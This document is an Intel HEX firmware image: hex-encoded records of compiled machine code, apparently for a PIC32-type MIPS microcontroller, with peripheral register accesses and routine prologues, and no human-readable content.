:107d1c000000c2931000422cf1ff40140000000040
:107d2c0088bf033c50526290010004244408827cba
:107d3c00505262a088bf023c605240ac88bf033cea
:107d4c00505262904429027c505262a088bf033c7e
:107d5c00505262904408027c505262a06a9f400bc1
:107d6c000000000088bf023c08000324005243ac12
:107d7c0000a0023c801c4224040040a000a0023c55
:107d8c00d01c4224040040a000a0023cd01c432480
:107d9c000400628c04ba027c040062ac88bf023c12
:107dac000052428c08004230eeff401400000000ec
:107dbc0001000224b48182af01000224bc8182af95
:107dcc00ec8180aff08180afd08180af0000c0a388
:107ddc00909f400b000000000000c39300a0023ce9
:107dec0080180300101a422421106200000040acdd
:107dfc000000c39300a0023c80180300001a422428
:107e0c0021106200000040ac0000c3930482822762
:107e1c0021106200000040a00000c393d48182278f
:107e2c0021106200000040a00000c2930100422417
:107e3c000000c2a30000c2930400422ce6ff4014d1
:107e4c000000000000a0023c00a0033c101c6324b6
:107e5c00101a43ac88bf023c0d000324005343ac02
:107e6c00c881822700e0437c00a0023c001c422415
:107e7c00040043ac00a0023c001c432402006294aa
:107e8c00400004240448827c020062a400a0023c4e
:107e9c0084000324001c43a4b88180a3f48180af28
:107eac0021e8c0030c00be8f1000bd270800e003c2
:107ebc000000000000e85d4100701b4002601a40a9
:107ecc0080ffbd277c00bbaf00601b407800baafc1
:107edc0000681a407400bbaf82d21a00847a5b7fb0
:107eec0044201b7c00609b402400a3af2000a2af69
:107efc007800a38f0f0063301200601400000000a4
:107f0c006400bfaf6000beaf5c00b9af5800b8af43
:107f1c005400afaf5000aeaf4c00adaf4800acafab
:107f2c004400abaf4000aaaf3c00a9af3800a8afeb
:107f3c003400a7af3000a6af2c00a5af2800a4af2b
:107f4c001c00a1af00000000121000006c00a2afda
:107f5c00101800006800a3af21f0a003f481838ff8
:107f6c0001000224100062140000000088bf023cd3
:107f7c00ff000324005243ac88bf033c10526290b4
:107f8c00010004240400827c105262a088bf033cd0
:107f9c0010526290010004240421827c105262a0d1
:107fac0002000224f48182af88bf023c4050428c14
:107fbc00100042300b0040100000000088bf023c53
:107fcc005050428c1000423006004010000000005f
:107fdc0088bf023c10000324405043ac12a7400f52
:107fec000000000088bf023c8050428c02004230ee
:107ffc000600401000000000690004248458410f62
:10800c0000000000c5a0400b0000000088bf023c2f
:10801c000052428c01004230100040100000000061
:10802c0088bf023c1052428c010042300b004010c1
:10803c0000000000f09e400f0000000088bf023cd2
:10804c000002033c781043ac04000224f48182af9c
:10805c0088bf023c01000324005243ac88bf023ca1
:10806c000052428c100042300b0040100000000007
:10807c0088bf023c1052428c100042300600401067
:10808c0000000000f9a6400f0000000088bf023c71
:10809c0010000324005243ac88bf023c0052428cb7
:1080ac00040042300e0040100000000088bf023c6b
:1080bc001052428c040042300600401000000000b8
:1080cc00730004242128000001000624dd64400f05
:1080dc000000000088bf023c04000324005243aca3
:1080ec0088bf023c0052428c800042300800401095
:1080fc000000000088bf023c1052428c80004230cd
:10810c000300401000000000c4a6400f0000000057
:10811c0088bf023c0052428c0200423012004010d8
:10812c000000000088bf023c1052428c020042301a
:10813c000d00401000000000ff7f023cffff4434a4
:10814c002128000001000624dd64400f000000001f
:10815c0088bf023cff000324205243ac88bf023c82
:10816c0002000324005243acf481828f0400422ca1
:10817c000600401000000000690004248458410fe0
:10818c0000000000c5a0400b0000000088bf023cae
:10819c001052428c08004230580040100000000081
:1081ac001000c0a3bea0400b0000000088bf023c22
:1081bc000052428c08004230470040100000000082
:1081cc0088bf023c4052428cff004230c48182a3e3
:1081dc00c481828f0019427cff004230e88182a367
:1081ec0088bf023c08000324005243acc481829334
:1081fc00ff00423008004230ff00423015004014ae
:10820c0000000000e8818293ff00423021184000fa
:10821c0021204000d481822721108200000042904e
:10822c000000427cff00423001004238ff00423027
:10823c0001004230ff004430d481822721186200b3
:10824c00000062900400827c000062a0aaa0400b97
:10825c0000000000e8818293ff00423021184000aa
:10826c0021204000048282272110820000004290cd
:10827c000000427cff00423001004238ff004230d7
:10828c0001004230ff004430048282272118620032
:10829c00000062900400827c000062a0e88182935e
:1082ac00ff004230050040140000000029a7400fd9
:1082bc0000000000bba0400b000000007200042472
:1082cc00c481852721300000dd64400f00000000d0
:1082dc00bba0400b00000000c2a0400b000000003f
:1082ec001000c293010042241000c2a31000c293dc
:1082fc000400422cadff401400000000690004246f
:10830c008458410f0000000021e8c0036c00a28fcc
:10831c00130040006800a38f110060007800a28f4a
:10832c000f00423014004014000000006400bf8fa6
:10833c006000be8f5c00b98f5800b88f5400af8faf
:10834c005000ae8f4c00ad8f4800ac8f4400ab8f0b
:10835c004000aa8f3c00a98f3800a88f3400a78f4b
:10836c003000a68f2c00a58f2800a48f2400a38f8b
:10837c002000a28f1c00a18f000000000060604153
:10838c00c00000007c00ba8f7400bb8f00709a4054
:10839c007800ba8f8000bd2702609a4000e8dd416a
:1083ac0000609b4018000042e0ffbd271c00bfafdf
:1083bc001800beaf21f0a003211880002110a000ee
:1083cc002000c3a32400c2a32400c293080042309f
:1083dc0006004010000000002000c2932120400045
:1083ec00212800009fa3400f000000002400c2932e
:1083fc000400423006004010000000002000c29330
:10840c0021204000010005249fa3400f0000000024
:10841c002000c293001102002118400088bf023cca
:10842c0000534224211062001000c2af1000c28f12
:10843c002400c393000043a021e8c0031c00bf8f9d
:10844c001800be8f2000bd270800e00300000000cc
:10845c00f0ffbd270c00beaf21f0a0032118a00037
:10846c001800c6af2110e0001000c4a31400c3a371
:10847c001c00c2a31400c2930a00401000000000ac
:10848c001000c39300a0023c80180300101a422471
:10849c00211062000000428c0000c2af33a1400bdf
:1084ac00000000001000c39300a0023c80180300e1
:1084bc00001a4224211062000000428c0000c2af5e
:1084cc000000c28f040040140000000021100000c6
:1084dc009ea1400b000000001800c28f00e0437cfe
:1084ec000000c28f070043a8040043b81c00c293cd
:1084fc00ff034230ffff43300000c28fff006430a7
:10850c00020045900000a5302520a400020044a0e4
:10851c00021a0300ffff6330030063300300633073
:10852c0003004590fcff04242420a400251883009c
:10853c00030043a00000c28f00004390ff00633093
:10854c0001004290ff00423000120200251043004f
:10855c00ffff423040004230ffff43300000c28f2b
:10856c00ff006430000045900000a5302520a400d9
:10857c00000044a0021a0300ffff63300100449086
:10858c000000843025188300010043a00000c28f36
:10859c0000004390ff00633001004290ff00423026
:1085ac000012020025104300ffff423088004234c5
:1085bc00ffff43300000c28fff0064300000459085
:1085cc000000a5302520a400000044a0021a0300de
:1085dc00ffff6330010044900000843025188300b5
:1085ec00010043a01400c2931100401000000000d1
:1085fc001000c2938018020000a0023c101a422402
:10860c00211062001000c3938020030000a0033ce3
:10861c00101a63242118830000006390080063384b
:10862c00ff006330000043a09da1400b0000000040
:10863c001000c2938018020000a0023c001a4224d1
:10864c00211062001000c3938020030000a0033ca3
:10865c00001a63242118830000006390080063381b
:10866c00ff006330000043a00000c28f21e8c0036c
:10867c000c00be8f1000bd270800e00300000000b6
:10868c00f0ffbd270c00beaf21f0a0032118800025
:10869c002110a0001000c3a31400c2a31000c293a9
:1086ac002600401400000000d881828f0200439005
:1086bc000000633040006334020043a00300449088
:1086cc00fcff032424188300030043a0d881828f6d
:1086dc00c881832700e0637c070043a8040043b8eb
:1086ec00d881828f0000439000006330212060000d
:1086fc008cff032425188300000043a00100439045
:10870c0000006330010043a000a0023c101a428c10
:10871c0000004390000063302120600084ff03249c
:10872c0025188300000043a0010043900000633033
:10873c00010043a00fa2400b000000001000c293e8
:10874c00401802001400c293211062004010020075
:10875c00c018020000a0023c001c42242110620040
:10876c000000c2af0000c28f000043900100429095
:10877c000012020025104300ffff423084004234f7
:10878c00ffff43300000c28fff00643000004590b3
:10879c000000a5302520a400000044a0021a03000c
:1087ac00ffff6330010044900000843025188300e3
:1087bc00010043a01000c293401802001400c293a1
:1087cc00211062004010020001004224c018020077
:1087dc0000a0023c001c4224211062000000c2af29
:1087ec000000c28f00004390010042900012020072
:1087fc0025104300ffff423084004234ffff43301a
:10880c000000c28fff006430000045900000a530ce
:10881c002520a400000044a0021a0300ffff6330cf
:10882c00010044900000843025188300010043a00f
:10883c0021e8c0030c00be8f1000bd270800e00328
:10884c0000000000f8ffbd270400beaf21f0a0031c
:10885c00211080000800c2a388bf023c5052428cf9
:10886c00200042307f004010000000000800c3933d
:10887c0000a0023c80180300101a42242110620050
:10888c000000428c0800c49300a0033c802004002c
:10889c00101a6324211883000000638c03006a887b
:1088ac00212040010000649807006a8821284001bb
:1088bc0004006598400088300000a930030048a8e7
:1088cc00000048b8070049a8040049b80800c39341
:1088dc0000a0023c80180300101a422421106200f0
:1088ec000000428c0800c49300a0033c80200400cc
:1088fc00101a6324211883000000638c030068881d
:10890c0021200001000064980700688821280001dc
:10891c0004006598400086380000a738030046a87c
:10892c00000046b8070047a8040047b80800c293e7
:10893c008018020000a0023c101a42242110620090
:10894c000800c3938020030000a0033c101a63248a
:10895c00211883000000639008006338ff00633027
:10896c00000043a00800c39300a0023c8018030041
:10897c00101a4224211062000000428c0800c4939b
:10898c0000a0033c80200400101a632421188300eb
:10899c000000638c00006490ff0084300100639041
:1089ac00ff006330001a030025186400ffff6330da
:1089bc0040006330ffff6330ff00643000004590df
:1089cc000000a5302520a400000044a0021a0300da
:1089dc00ffff6330010044900000843025188300b1
:1089ec00010043a00800c39300a0023c80180300c0
:1089fc00101a4224211062000000428c0800c4931b
:108a0c0000a0033c80200400101a6324211883006a
:108a1c000000638c00006490ff00843001006390c0
:108a2c00ff006330001a030025186400ffff633059
:108a3c0040006338ffff6330ff0064300000459056
:108a4c000000a5302520a400000044a0021a030059
:108a5c00ffff633001004490000084302518830030
:108a6c00010043a021e8c0030400be8f0800bd270d
:108a7c000800e00300000000f8ffbd270400beafb3
:108a8c0021f0a00388bf023c505240ac88bf023c8e
:108a9c00105240acf48180af0000000021e8c0030c
:108aac000400be8f0800bd270800e0030000000092
:108abc00e8ffbd271400bfaf1000beaf21f0a0032c
:108acc00f481828f310040140000000088bf023c0a
:108adc00505240ac88bf023c105240ac88bf023ca4
:108aec00e05240ac88bf023c9f000324305243aca0
:108afc0088bf023c9f000324105243ac88bf023c49
:108b0c007050428c0f00433088bf023c705043ac15
:108b1c0088bf023c7050438c88bf023c705043ac01
:108b2c0088bf023c0002033c781043ac88bf023c77
:108b3c0000ff0334441143ac88bf023c00100324f3
:108b4c00481143ac5358410f00000000c359410f6a
:108b5c0000000000dfa2400b0000000088bf033cb7
:108b6c0050526290010004240400827c505262a096
:108b7c0088bf023c5052428c01004230f7ff40103b
:108b8c000000000001000224f48182af21e8c00340
:108b9c001400bf8f1000be8f1800bd270800e00323
:108bac0000000000f8ffbd270400beaf21f0a003b9
:108bbc00b481828f5b00401400000000010002248d
:108bcc00b48182afbc81828f56004014000000003b
:108bdc0001000224bc8182afdc818293ff00433010
:108bec0002000224170062140000000000a0023ce6
:108bfc00101a428c0200439000006330020043a024
:108c0c0003004490fcff032424188300030043a0ba
:108c1c0000a0023c101a428c00004390000063300c
:108c2c0021206000c8ff032425188300000043a006
:108c3c000100439000006330010043a04ca3400ba3
:108c4c0000000000dc818293ff004330010002240d
:108c5c003400621400000000ac8180afe081828f90
:108c6c00020043900000633040006334020043a0d4
:108c7c0003004490fcff032424188300030043a04a
:108c8c00e081828fc881832700e0637c070043a8c2
:108c9c00040043b8e081828f0000439000006330f1
:108cac002120600084ff032425188300000043a0ca
:108cbc000100439000006330010043a00100022436
:108ccc00ac8182afd881828f020043900000633068
:108cdc0040006334020043a003004490fcff0324d3
:108cec0024188300030043a0d881828fc881832776
:108cfc0000e0637c070043a8040043b8d881828f4e
:108d0c0000004390000063302120600080ff0324aa
:108d1c0025188300000043a001004390000063303d
:108d2c00010043a021e8c0030400be8f0800bd274a
:108d3c000800e00300000000e8ffbd271400bfafef
:108d4c001000beaf21f0a003ec8180aff08180afaa
:108d5c00dc818293ff004330020002241c00621469
:108d6c0000000000d881828f020043900000633025
:108d7c0040006334020043a003004490fcff032432
:108d8c0024188300030043a0d881828f00a0033ce9
:108d9c00901c632400e0637c070043a8040043b8e4
:108dac00d881828f00004390000063302120600046
:108dbc00c8ff032425188300000043a00100439042
:108dcc0000006330010043a099a3400b0000000099
:108ddc00ce818297ffff433000a0023c801c4224ce
:108dec0008004294ffff42302b1062000600401036
:108dfc0000000000ce818297ffff433000a0023cb0
:108e0c00801c4224080043a45ca4400f0000000016
:108e1c0000a0023c101a428c00a0033c901c63245e
:108e2c0000e0637c070043a8040043b800a0023ca8
:108e3c00101a428c00004390000063302120600027
:108e4c00c8ff032425188300000043a001004390b1
:108e5c0000006330010043a021e8c0031400bf8f61
:108e6c001000be8f1800bd270800e00300000000b2
:108e7c00f0ffbd270c00beaf21f0a003211880002d
:108e8c002110a0001000c3a31400c2a300a0023c38
:108e9c00001c42240000c2af1000c2934018020014
:108eac001400c29321106200001102000000c38f55
:108ebc00211062000000c2af0000c38f000062905e
:108ecc00c439027c000062a01400c2930a00401452
:108edc00000000001000c39300a0023c80180300a7
:108eec00001a4224211062000000c38f000043ac22
:108efc00c8a3400b000000001000c39300a0023c6c
:108f0c0080180300101a4224211062000000c38f45
:108f1c00000043ac0000c38f000062908431027cdf
:108f2c00000062a00000c28f080043240000629081
:108f3c00010004248431827c000062a021e8c0037b
:108f4c000c00be8f1000bd270800e00300000000dd
:108f5c00e8ffbd271400bfaf1000beaf21f0a00387
:108f6c0088bf033c505262904429027c505262a04c
:108f7c0000a0023c801c42240400428c8000423041
:108f8c003a0040140000000000a0023cd01c422417
:108f9c0004004290ff00433080ff02242410620042
:108fac00ff0042300c0040100000000002000224c0
:108fbc00dc8182a3f081828f03004014000000004a
:108fcc0051a3400f00000000bc8180afb48180af82
:108fdc0056a4400b00000000d881828f0200439001
:108fec000000633040006334020043a0030044904f
:108ffc00fcff032424188300030043a0d881828f34
:10900c00c881832700e0637c070043a8040043b8b1
:10901c00d881828f000043900000633021206000d3
:10902c008cff032425188300000043a0010043900b
:10903c0000006330010043a000a0023c101a428cd7
:10904c0000004390000063302120600084ff032463
:10905c0025188300000043a00100439000006330fa
:10906c00010043a056a4400b00000000c88182936d
:10907c00ff00433080ff022424106200ff004230c6
:10908c00110040100000000001000224dc8182a3ca
:10909c00ec81828f030040140000000051a3400fac
:1090ac0000000000bc8180afb48180afb081828fa2
:1090bc002600401400000000eca2400f000000004d
:1090cc0056a4400b0000000002000224dc8182a3a5
:1090dc00d881828f020043900000633040006334db
:1090ec00020043a003004490fcff032424188300d7
:1090fc00030043a0d881828fc881832700e0637c62
:10910c00070043a8040043b8d881828f0000439025
:10911c00000063302120600084ff032425188300a5
:10912c00000043a00100439000006330010043a005
:10913c00bc8180afb48180afb081828f03004014ba
:10914c0000000000eca2400f0000000021e8c0036a
:10915c001400bf8f1000be8f1800bd270800e0035d
:10916c0000000000f0ffbd270c00beaf21f0a003f3
:10917c00400002240000c2a300a0023c801c422438
:10918c0008004294ffff42304000422c1500401072
:10919c000000000000a0023c801c42240800429405
:1091ac00ffff42300000c2a3c0818293ff00423017
:1091bc00050040140000000001000224c08182a3bd
:1091cc007ca4400b00000000c0818293ff00433060
:1091dc0001000224030062140000000002000224bb
:1091ec00c08182a300a0023c801c4224080042944f
:1091fc00ffff43300000c293ffff42302310620098
:10920c00ffff433000a0023c801c4224080043a412
:10921c0000a0023c101a428c0000c393ff03633081
:10922c00ffff6330ff006430020045900000a53062
:10923c002520a400020044a0021a0300ffff6330a3
:10924c00030063300300633003004590fcff0424eb
:10925c002420a40025188300030043a000a0023c96
:10926c00901c4224e48182af00a0023c801c42246a
:10927c000400428c01004230150040140000000034
:10928c00b2a4400b00000000e481828f0100432453
:10929c00e48183af00a0033c801c638c0100652437
:1092ac0000a0043c801c85ac00006390000043a02f
:1092bc000000c293ffff42240000c2a30000c2932f
:1092cc00f1ff401400000000c9a4400b0000000096
:1092dc00c6a4400b00000000e481828f01004324ef
:1092ec00e48183af00a0033c801c638c01006524e7
:1092fc0000a0043c801c85ac00006390000043a0df
:10930c000000c293ffff42240000c2a30000c293de
:10931c00f1ff40140000000021e8c0030c00be8fd8
:10932c001000bd270800e00300000000e0ffbd278f
:10933c001c00bfaf1800beaf21f0a003e081828fec
:10934c0002004390ff00633003004290ff00423064
:10935c00030042300012020025104300ffff423090
:10936c001000c2a31000c293ffff433000a0023cc8
:10937c00d01c42240400428c007a427cffff423015
:10938c002b104300070040100000000000a0023c1e
:10939c00d01c42240400428c007a427cffff4230f5
:1093ac001000c2a300a0023cd01c42240400428c3a
:1093bc00007a427cffff43301000c293ffff423023
:1093cc0023106200ffff443000a0023cd01c432459
:1093dc000400628c04ba827c040062ac1100c0a34d
:1093ec000ca5400b0000000000a0023cd01c428cdd
:1093fc000100442400a0033cd01c64ac1100c493b5
:10940c0000a0033c901c632421188300000063908f
:10941c00ff006330000043a01100c29301004224fe
:10942c001100c2a31100c3931000c2932b10620051
:10943c00edff40140000000000a0023cd01c4224b0
:10944c000400428c007a427cffff42302f00401017
:10945c0000000000d881828f02004390000063302e
:10946c0040006334020043a003004490fcff03243b
:10947c0024188300030043a0d881828f00a0033cf2
:10948c00901c632400e0637c070043a8040043b8ed
:10949c00e081828f00004290ff0042304000423059
:1094ac00ff0042300d00401400000000d881828f74
:1094bc00000043900000633021206000c8ff0324ab
:1094cc0025188300000043a0010043900000633086
:1094dc00010043a078a5400b00000000d881828fca
:1094ec0000004390000063302120600088ff0324bb
:1094fc0025188300000043a0010043900000633056
:10950c00010043a078a5400b00000000d881828f99
:10951c00020043900000633040006334020043a01b
:10952c0003004490fcff032424188300030043a091
:10953c00d881828fc881832700e0637c070043a811
:10954c00040043b8d881828f000043900000633040
:10955c002120600084ff032425188300000043a011
:10956c000100439000006330010043a000a0023cc6
:10957c00d01c42240a004388212060000700449834
:10958c0021108000090040100000000000a0023ce7
:10959c00d01c42240a004388212060000700449814
:1095ac002110800009f840000000000000a0023cdf
:1095bc00d01c432404006290c439027c040062a0d5
:1095cc00b081828f0300401400000000eca2400f19
:1095dc000000000021e8c0031c00bf8f1800be8fe4
:1095ec002000bd270800e00300000000e0ffbd27bd
:1095fc001c00bfaf1800beaf21f0a00300a0023cbe
:10960c00801c43240400629001000424c439827c31
:10961c00040062a088bf023c105342241400c2af65
:10962c001100c0a396a5400b000000001400c28fcf
:10963c00000040ac1400c28f100042241400c2afd2
:10964c001100c293010042241100c2a31100c29365
:10965c000300422cf5ff40140000000000a0023c67
:10966c00001c442421280000800006247152410f64
:10967c000000000088bf033c50526290010004249b
:10968c004408827c505262a01000c0a3b3a5400bca
:10969c00000000001000c393048282272110620096
:1096ac00000040a01000c393d481822721106200d7
:1096bc00000040a01000c293010042241000c2a37d
:1096cc001000c2930400422cf2ff40140000000072
:1096dc000082842721280000010006247152410fca
:1096ec000000000088bf033c505262904408027c8a
:1096fc00505262a000a0023c00a0033c101c63244a
:10970c00101a43ac00a0023c001c4224e08182af42
:10971c00e081828fd88182afca818293ff00423070
:10972c00b88182a3b8818293ff00423005004014b7
:10973c000000000010000224f48182afdba5400b76
:10974c000000000001000424b881852701000624d4
:10975c00dd64400f0000000020000224f48182af81
:10976c0021e8c0031c00bf8f1800be8f2000bd274e
:10977c000800e00300000000f8ffbd270400beafa6
:10978c0021f0a003c8818293ff00433080000224a3
:10979c00510062140000000000a0023c801c422416
:1097ac00c0ff0324040043a0cb818293ff0042300e
:1097bc0002000324110043100000000003000324e6
:1097cc002500431000000000010003243e00431458
:1097dc000000000000a0023c059d033c6848632487
:1097ec00801c43ac00a0023c801c422412000324c9
:1097fc00080043a439a6400b00000000ca818293e4
:10980c00ff00423080180200059d023c04494224ae
:10981c00211062000000438c00a0023c801c43ac71
:10982c0000a0023c801c428c0200439000a0023c31
:10983c00801c4224080043a000a0023c801c428ce7
:10984c000300439000a0023c801c4224090043a06a
:10985c0039a6400b00000000ca818293ff00423001
:10986c000400422c1300401000000000ca818293b7
:10987c00ff00423080180200059d023c084942243a
:10988c00211062000000438c00a0023c801c43ac01
:10989c0000a0023c801c428c000042902118400029
:1098ac0000a0023c801c4224080043a439a6400bb3
:1098bc000000000000a0023c801c4224040040a0d8
:1098cc0039a6400b0000000000a0023c801c422482
:1098dc00040040a00000000021e8c0030400be8f7b
:1098ec000800bd270800e00300000000f0ffbd27c2
:1098fc000c00beaf21f0a00300a0023c901c40a0c5
:10990c0000a0023c901c4224010040a0c881828f20
:10991c000020427cff00423001000324220043104f
:10992c000000000002000324270043100000000088
:10993c005b0040140000000000a0023c801c43248b
:10994c000400629001000424c439827c040062a0eb
:10995c0000a0023c901c4290ff00423001004234b7
:10996c00ff00433000a0023c901c43a0fc81838f7d
:10997c00010002240a0062140000000000a0023c56
:10998c00901c4290ff00423002004234ff004330f2
:10999c0000a0023c901c43a0aba6400b00000000b2
:1099ac00aba6400b0000000000a0023c801c43242e
:1099bc000400629001000424c439827c040062a07b
:1099cc00aba6400b0000000000a0023c801c43240e
:1099dc000400629001000424c439827c040062a05b
:1099ec00cc818293ff00433080ff0224241062005c
:1099fc00ff0042300d00401400000000cc81828f2b
:109a0c000018427cff0042302118400000a0023cac
:109a1c0080180300001a4224211062000000428cbe
:109a2c000000c2af98a6400b00000000cc81828fd2
:109a3c000018427cff0042302118400000a0023c7c
:109a4c0080180300101a4224211062000000428c7e
:109a5c000000c2af0000c28f0000439080ff0224c0
:109a6c0024106200ff0042300c0040100000000087
:109a7c000000c28f0000429004004230ff004230d0
:109a8c00060040100000000000a0023c010003246e
:109a9c00901c43a0aaa6400b000000000000000090
:109aac0000a0023c801c42240400428c8000423006
:109abc000f0040100000000000a0023c00a0033c7e
:109acc00901c6324801c43ac00a0023c801c4324eb
:109adc0004006290010004240400827c040062a053
:109aec0000a0023c801c422402000324080043a076
:109afc0021e8c0030c00be8f1000bd270800e00356
:109b0c0000000000f8ffbd270400beaf21f0a00349
:109b1c0088bf023c0053428c0200423026004010a9
:109b2c0000000000e081828f00004390ff00633052
:109b3c0001004290ff004230001202002510430049
:109b4c00ffff433080000224170062140000000065
:109b5c0000a0023c101a428c00004390ff006330be
:109b6c0001004290ff004230001202002510430019
:109b7c00ffff4330840002240b006214000000003d
:109b8c00e081828f00004390000063302120600050
:109b9c008cff032425188300000043a00100439090
:109bac0000006330010043a088bf033c0053629067
:109bbc004408027c005362a088bf023c800003244e
:109bcc00005243ac21e8c0030400be8f0800bd273f
:109bdc000800e00300000000e8ffbd271400bfaf41
:109bec001000beaf21f0a00388bf033c5050629020
:109bfc00010004240421827c505062a088bf023ce6
:109c0c0010000324005243ac01000224d08182af27
:109c1c00750004242128000021300000dd64400f71
:109c2c000000000021e8c0031400bf8f1000be8f9d
:109c3c001800bd270800e00300000000e8ffbd2766
:109c4c001400bfaf1000beaf21f0a003d08180afd5
:109c5c00740004242128000021300000dd64400f32
:109c6c000000000088bf033c505062900421027c2d
:109c7c00505062a088bf023c10000324405043acfb
:109c8c0021e8c0031400bf8f1000be8f1800bd2741
:109c9c000800e00300000000e0ffbd271c00bfaf80
:109cac001800beaf21f0a003c4818293ff004230a4
:109cbc0021184000fbff02242410620041004014d4
:109ccc0000000000c4818293ff0042308210020029
:109cdc00ff004230c018020000a0023c001c4224cd
:109cec0021106200e08182afe081828fd88182af47
:109cfc00d8818227d88183270000639008006338bd
:109d0c00ff006330000043a0e081828f000042908e
:109d1c00ff0042303c004230ff004330340002244c
:109d2c0024006214000000001000c0a363a7400bc5
:109d3c00000000001000c393c88182272118620024
:109d4c00e081828f070044880400449800a0023c04
:109d5c002510820000004290000062a0e081828ffa
:109d6c00070043880400439801006324070043a8bc
:109d7c00040043b81000c293010042241000c2a397
:109d8c001000c2930800422ceaff401400000000af
:109d9c00e081828fc881832700e0637c070043a8a1
:109dac00040043b884a7400f000000007ea7400bbe
:109dbc000000000004a8400f000000007ea7400b2c
:109dcc0000000000c4818293ff0042302118400043
:109ddc00fbff022424186200080002240300621412
:109dec000000000036a8400f0000000021e8c0036e
:109dfc001c00bf8f1800be8f2000bd270800e00399
:109e0c0000000000e8ffbd271400bfaf1000beaf7c
:109e1c0021f0a003c08180a3b08180afec8180af22
:109e2c00f08180afac8180afdc8180a300a0023ccc
:109e3c00101a428c00a0033c101a638c0000649032
:109e4c00ff00843001006390ff006330001a0300b0
:109e5c0025186400ffff64307fff0324241883005f
:109e6c00ffff6330ff006430000045900000a53018
:109e7c002520a400000044a0021a0300ffff633059
:109e8c00010044900000843025188300010043a099
:109e9c0000a0023c101a422400a0033c101a6324b8
:109eac000000639008006338ff006330000043a09b
:109ebc0000a0023c101a428c00a0033c101a638cc8
:109ecc0000006490ff00843001006390ff00633059
:109edc00001a030025186400ffff64307fff032481
:109eec0024188300ffff6330ff00643000004590ae
:109efc000000a5302520a400000044a0021a030095
:109f0c00ffff63300100449000008430251883006b
:109f1c00010043a000a0023c101a422400a0033c04
:109f2c00101a63240000639008006338ff0063304c
:109f3c00000043a0d881828fd881838f0000649069
:109f4c00ff00843001006390ff006330001a0300af
:109f5c0025186400ffff64307fff0324241883005e
:109f6c00ffff6330ff006430000045900000a53017
:109f7c002520a400000044a0021a0300ffff633058
:109f8c00010044900000843025188300010043a098
:109f9c0000a0023c801c4224040040a000a0023c13
:109fac00801c4224080040a400a0023cd01c422487
:109fbc00040040a000a0023cd01c43240400628c8e
:109fcc0004ba027c040062acbda8400f0000000083
:109fdc00030004242128000021300000dd64400f20
:109fec0000000000d7a3400f0000000021e8c003d0
:109ffc001400bf8f1000be8f1800bd270800e003af
:10a00c0000000000e8ffbd271400bfaf1000beaf7a
:10a01c0021f0a003dc818293ff0043300200022474
:10a02c000500621400000000cea4400f00000000e8
:10a03c0030a8400b00000000dc8180a3ac81828f33
:10a04c001b00401400000000d881828f0200439056
:10a05c000000633040006334020043a003004490ce
:10a06c00fcff032424188300030043a0d881828fb3
:10a07c00c881832700e0637c070043a8040043b831
:10a08c00d881828f00004390000063302120600053
:10a09c008cff032425188300000043a0010043908b
:10a0ac0000006330010043a030a8400b000000000a
:10a0bc00ac8180af21e8c0031400bf8f1000be8fad
:10a0cc001800bd270800e00300000000e0ffbd27da
:10a0dc001c00bfaf1800beaf21f0a00300a0023cd3
:10a0ec00101a428c000042908001427cff004230ea
:10a0fc001000c2a300a0023c101a422400a0033c92
:10a10c00101a63240000639008006338ff0063306a
:10a11c00000043a0f481838f080002241000621415
:10a12c0000000000ca818293ff00423021184000d9
:10a13c0088bf023c605243ac88bf023c6052428ce8
:10a14c00050040100000000010000224f48182afd2
:10a15c005ba8400b0000000004000224f48182afd5
:10a16c00dc818293ff004330010002243900621429
:10a17c000000000000a0023c101a428c00a0033c1e
:10a18c00901c632400e0637c070043a8040043b8e0
:10a19c005ca4400f00000000c0818293ff0043309c
:10a1ac00020002240e0062140000000000a0023c19
:10a1bc00101a428c00004390000063302120600094
:10a1cc0084ff032425188300000043a00100439062
:10a1dc0000006330010043a0b7a8400b0000000052
:10a1ec001000c2930e0040140000000000a0023cbe
:10a1fc00101a428c00004390000063302120600054
:10a20c00c8ff032425188300000043a001004390dd
:10a21c0000006330010043a0b7a8400b0000000011
:10a22c0000a0023c101a428c0000439000006330e6
:10a23c002120600088ff032425188300000043a020
:10a24c000100439000006330010043a0b7a8400b0d
:10a25c000000000000a0023cd01c422404004290ec
:10a26c00ff00433080ff022424106200ff004230c4
:10a27c00160040100000000000a0023cd01c42243c
:10a28c000a004388212060000700449821108000b8
:10a29c00090040100000000000a0023cd01c422429
:10a2ac000a00438821206000070044982110800098
:10a2bc0009f840000000000000a0023cd01c432420
:10a2cc0004006290c439027c040062a0dc8180a38b
:10a2dc0021e8c0031c00bf8f1800be8f2000bd27d3
:10a2ec000800e00300000000e8ffbd271400bfaf2a
:10a2fc001000beaf21f0a003c8818293ff00423052
:10a30c0060004230ff0042300300401000000000ab
:10a31c0041a9400b00000000c9818293ff0042302c
:10a32c000c00432c73006010000000008018020029
:10a33c00039d023c54a34224211062000000428c75
:10a34c00080040000000000020a4029d30a4029de3
:10a35c0000a5029d30a4029d00a5029d84a3029d30
:10a36c00aca3029de4a4029dcca3029dbca3029dc0
:10a37c0040a4029da4a4029d00a0023c801c432486
:10a38c000400629001000424c439827c040062a0a1
:10a39c0008000224f48182af41a9400b00000000a8
:10a3ac00e1a5400f0000000041a9400b0000000097
:10a3bc007ea5400f0000000041a9400b00000000ea
:10a3cc0000a0023cb8818327801c43ac00a0023c57
:10a3dc00801c432404006290010004240400827c4d
:10a3ec00040062a000a0023c801c42240100032453
:10a3fc00080043a000a0023c801c4324040062908f
:10a40c0001000424c439827c040062a041a9400be1
:10a41c00000000003ea6400f0000000041a9400bc8
:10a42c000000000047a9400f0000000041a9400bac
:10a43c0000000000cc818293ff00423021184000c4
:10a44c00008282272118620000a0023c801c43acd1
:10a45c0000a0023c801c43240400629001000424f0
:10a46c000400827c040062a000a0023c801c4224f8
:10a47c0001000324080043a000a0023c801c4324dc
:10a48c000400629001000424c439827c040062a0a0
:10a49c0041a9400b0000000000a0023c801c43249a
:10a4ac000400629001000424c439827c040062a080
:10a4bc00cc818293ff00423021204000ca818293dc
:10a4cc00ff0043300082822721108200000043a04d
:10a4dc0041a9400b000000000200042421280000c8
:10a4ec0021300000dd64400f0000000041a9400b4a
:10a4fc00000000000000000021e8c0031400bf8f22
:10a50c001000be8f1800bd270800e00300000000fb
:10a51c00d8ffbd272400bfaf2000beaf21f0a003a1
:10a52c00ca818293ff004330010002241700621499
:10a53c0000000000c8818293ff0042301f004230af
:10a54c00ff004230110040140000000000a0023c4b
:10a55c00801c43240400629001000424c439827cd2
:10a56c00040062a0c9818293ff00433003000224df
:10a57c00050062140000000001000224fc8182af7f
:10a58c0066a9400b00000000fc8180afca81829359
:10a59c00ff0042307e01401400000000c88182930d
